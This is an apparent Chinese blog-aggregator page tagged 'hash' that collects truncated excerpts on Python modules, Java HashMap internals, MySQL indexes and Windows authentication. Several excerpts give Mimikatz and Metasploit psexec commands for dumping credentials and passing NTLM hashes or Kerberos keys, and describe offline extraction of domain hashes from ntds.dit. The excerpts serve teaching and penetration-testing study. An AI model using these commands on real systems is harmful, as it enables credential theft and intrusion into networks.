hash

Python之模块

一世执手 提交于 2020-01-09 04:28:12
模块,用一堆代码实现了某个功能的代码集合。 类似于函数式编程和面向过程编程,函数式编程则完成一个功能,其他代码用来调用即可,提供了代码的重用性和代码间的耦合。而对于一个复杂的功能来,可能需要多个函数才能完成(函数又可以在不同的.py文件中),n个 .py 文件组成的代码集合就称为模块。 如:os 是系统相关的模块;file是文件操作相关的模块 模块分为三种: 自定义模块 内置模块 开源模块 1.自定义模块 导入模块的方式: import module from module.xx.xx import xx from module.xx.xx import xx as rename from module.xx.xx import * 导入模块其实就是告诉Python解释器去解释那个py文件 导入一个py文件,解释器解释该py文件 导入一个包,解释器解释该包下的 __init__.py 文件 那么问题来了,导入模块时是根据那个路径作为基准来进行的呢?即:sys.path import sys print(sys.path) 如果sys.path路径列表没有你想要的路径,可以通过 sys.path.append('路径') 添加。 通过os模块可以获取各种目录,例如: import sys import os pre_path = os.path.abspath('../') sys

java集合问题篇

此生再无相见时 提交于 2020-01-09 04:02:14
java集合问题篇 ● 请解释为什么集合类没有实现Cloneable和Serializable接口? Java集合必会14问(精选面试题整理) HashMap的put方法的具体流程? hashmap如何扩容 hashmap是如何解决hash冲突的 ● 请解释为什么集合类没有实现Cloneable和Serializable接口? Java集合必会14问(精选面试题整理) Java集合必会14问(精选面试题整理) HashMap的put方法的具体流程? 首先判断数组是否为空(为空就初始化数组),不空----》key是否为空(空:将null插入到数组的0号位置),不空—》根据key算出hash值,再根据hash值算出将要插入的数组的下标【(数组长度-1)&hashcode】,如果该位置有元素了,则将该元素和要插入的元素进行比较(先比较hash,再比较key,相同,则覆盖其value,不同,则jdk1.7使用头插法将添加的元素加入到链表头,然后将链表下移。jdk1.8是使用尾插法。【1.8由于使用了红黑树,总是要遍历链表的,所以直接将其放入尾部】)插入元素后,计数变量:size++ hashmap如何扩容 初始化hashmap的时候会有默认的数组长度16,加载因子3/4,此时阈值为16 3/4=12; 当元素超过12个时就会进行扩容。新数组长度是16 2=32,阈值是32*3/4=24

Windows NTLM Hash和Hash传递、Key传递攻击

[亡魂溺海] 提交于 2020-01-09 02:40:23
Hash(Key) 获取 工具: Mimikatz 用法: .\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话) sekurlsa::ekeys #获取kerberos加密凭证 Hash(Key)传递 Mimikatz sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash传递 sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key传递 Metaspolit 传递Hash msf> use windows/smb/psexec msf exploit(windows/smb/psexec)>set rhost a.b.c.d msf exploit(windows/smb/psexec)>set rport 445 (139会更好一点) msf exploit(windows/smb/psexec)>set smbuser xxxx msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash msf exploit(windows/smb

mysql 索引优化 btree hash rtree

天涯浪子 提交于 2020-01-09 01:20:50
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 一:mysql里目前只支持4种索引分别是:b-tree,full-text,hash以及r-tree索引 b-tree索引应该是mysql里最广泛的索引的了,除了archive,基本所有的存储引擎都支持它. 1.b-tree在myisam里的形式和innodb稍有不同 在innodb里面有两种形态:其一是primary key形态其leaf node里存放的是数据.而且不仅存放了索引键的数据,还存放了其他字段的数据.其二是secondary index,其leaf node和普通的b-tree差不多,只是还存放了指向主键的信息. 而在myisam里,主键和其他的并没有太大区别.不过和innodb不太一样的地方是,在myisam里,leaf node里存放的不是主键的信息,存的是指向数据文件里的对应数据行的信息. 2.hash索引,目前我所知道的就只有memory和ndb cluster支持这种索引. hash索引由于其结构,所以在每次查询的时候直接一次到位不行b-tree那样,一点点的前进,所以hash索引的效率高于b-tree.但hash也有缺点,主要如下: (1)由于存放的是hash值,所以仅支持<=>以及in操作. (2)hash索引无法通过操作索引来排序,这是因为存放的时候经过hash计算

浅谈hashCode

只谈情不闲聊 提交于 2020-01-09 00:55:18
《Java编程思想》中对hashCode的描述: 设计hashCode()时最重要的因素就是:无论何时,对同一个对象调用hashCode()都应该产生同样的值。如果将一个对象用put()添加进HashMap时产生一个hashCdoe()值,而用get()取出时却产生了另一个hashCode()值,那么就无法重新取得该对象了。所以如果你的hashCode()方法依赖于对象中易变的数据,用户就要当心了,因为此数据发生变化时,hashCode()方法就会生成一个不同的散列码,相当于产生了一个不同的键。 1. HashCode源代码分析 1.1 Object中的HashCode源代码 public int hashCode() { int lockWord = shadow$_monitor_; final int lockWordStateMask = 0xC0000000; // Top 2 bits. final int lockWordStateHash = 0x80000000; // Top 2 bits are value 2 (kStateHash). final int lockWordHashMask = 0x0FFFFFFF; // Low 28 bits. if ((lockWord & lockWordStateMask) == lockWordStateHash

ConcurrentHashMap1.7和1.8对比

孤人 提交于 2020-01-08 22:59:35
https://medium.com/@itsromiljain/curious-case-of-concurrenthashmap-90249632d335   这个讲的就是1.7的概念性 https://crossoverjie.top/2018/07/23/java-senior/ConcurrentHashMap/   分析对比写的不错 具体代码去看jdk 1.7 /** * Segment 数组,存放数据时首先需要定位到具体的 Segment 中。 */ final Segment<K,V>[] segments; transient Set<K> keySet; transient Set<Map.Entry<K,V>> entrySet; Segment是一个内部类 static final class Segment<K,V> extends ReentrantLock implements Serializable { private static final long serialVersionUID = 2249069246763182397L; // 和 HashMap 中的 HashEntry 作用一样,真正存放数据的桶 transient volatile HashEntry<K,V>[] table; transient int count;

HashMap初始化容量过程

依然范特西╮ 提交于 2020-01-08 13:41:40
集合是Java开发日常开发中经常会使用到的,而作为一种典型的K-V结构的数据结构,HashMap对于Java开发者一定不陌生。在日常开发中,我们经常会像如下方式以下创建一个HashMap: Map<String, String> map = new HashMap<String, String>(); 但是,大家有没有想过,上面的代码中,我们并没有给HashMap指定容量,那么,这时候一个新创建的HashMap的默认容量是多少呢?为什么呢?本文就来分析下这个问题。 什么是容量 在Java中,保存数据有两种比较简单的数据结构:数组和链表。数组的特点是:寻址容易,插入和删除困难;而链表的特点是:寻址困难,插入和删除容易。HashMap就是将数组和链表组合在一起,发挥了两者的优势,我们可以将其理解为链表的数组。在HashMap中,有两个比较容易混淆的关键字段:size和capacity ,这其中capacity就是Map的容量,而size我们称之为Map中的元素个数。简单打个比方你就更容易理解了:HashMap就是一个“桶”,那么容量(capacity)就是这个桶当前最多可以装多少元素,而元素个数(size)表示这个桶已经装了多少元素。 如以下代码: Map<String, String> map = new HashMap<String, String>();map.put(

深入详解windows安全认证机制ntlm&Kerberos

青春壹個敷衍的年華 提交于 2020-01-08 12:52:13
0x01 为什么要理解windows 安全认证机制: 加深对后续各种漏洞利用的理解深度,还是那句话,要知其然,更要知其所以然,不废话,咱们直接开始 0x02 windows认证协议主要有以下两种: 基于ntlm的认证方式,主要用在早期的windows工作组环境中,认证的过程也相对比较简单 另一种是基于Kerberos的认证方式,主要用在域环境中,下面就这两种不同的认证方式做些简要的通信流程说明 0x03 关于ntlm认证流程简要说明,如下: 0x04 从图中我们可以清晰的看到,ntlm在域中的认证过程主要分为以下几步: 第一步,首先在client输入username,password和domain,然后client会把password hash后的值先缓存到本地 第二步,之后,client把username的明文发送给server(DC) 第三步,DC会生成一个16字节的随机数,即challenge(挑战码),再传回给client 第四步,当client收到challenge以后,会先复制一份出来,然后和缓存中的密码hash再一同混合hash一次,混合后的值称为response,之后client再将challenge,response及username一并都传给server 第五步,server端在收到client传过来的这三个值以后会把它们都转发给DC 第六步

5.内网渗透之PTH&PTT&PTK

烈酒焚心 提交于 2020-01-08 12:05:11
---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-the-hash) pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。 pass the hash原理: 在Windows系统中,通常会使用NTLM身份认证 NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程) 这类攻击适用于: 域/工作组环境 可以获得hash,但是条件不允许对hash爆破 内网中存在和当前机器相同的密码 微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The

如何抓取所有域用户的hash(win2008--win2012)

前提是你 提交于 2020-01-08 12:04:19
如何抓取所有域用户的hash gethashes.exe 和gsecdump.exe都直接悲剧,这意味着想要轻量级的抓取所有域用户hash已经很难了。 在线抓取失败,没办法只能祭出终极武器:离线抓取! 第一种办法: vssown.vbs + libesedb + NtdsXtract 详细出处参考这里:http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html 首先用vssown.vbs把域数据库ntds.dit和SYSTEM文件复制一份,然后把复制文件下载回本地,再利用libesedb分解ntds.dit文件,最后用NtdsXtract分析出用户hash信息, 这种方法除了能获取用户当前密码hash外,还能获取历史密码hash值,能给社工带来更多的帮助。除此之外还能获取很多其他的信息,比如所有计算机列表,操作系统等等保存在域数据库中的数据。 具体的操作过程就直接上图了,不懂得可以去看那篇英文的文章 不过有一点需要注意,那篇文章过后vssown.vbs有更新过,在创建shadow copy时需要指定盘符,不然会有个下标越界的错误,这是为了方便当域数据库保存在D盘时的情况。 Windows server 2012 用户hash抓取方法研究(本地+域) 然后把ntds.dit和SYSTEM这两个文件下载回本地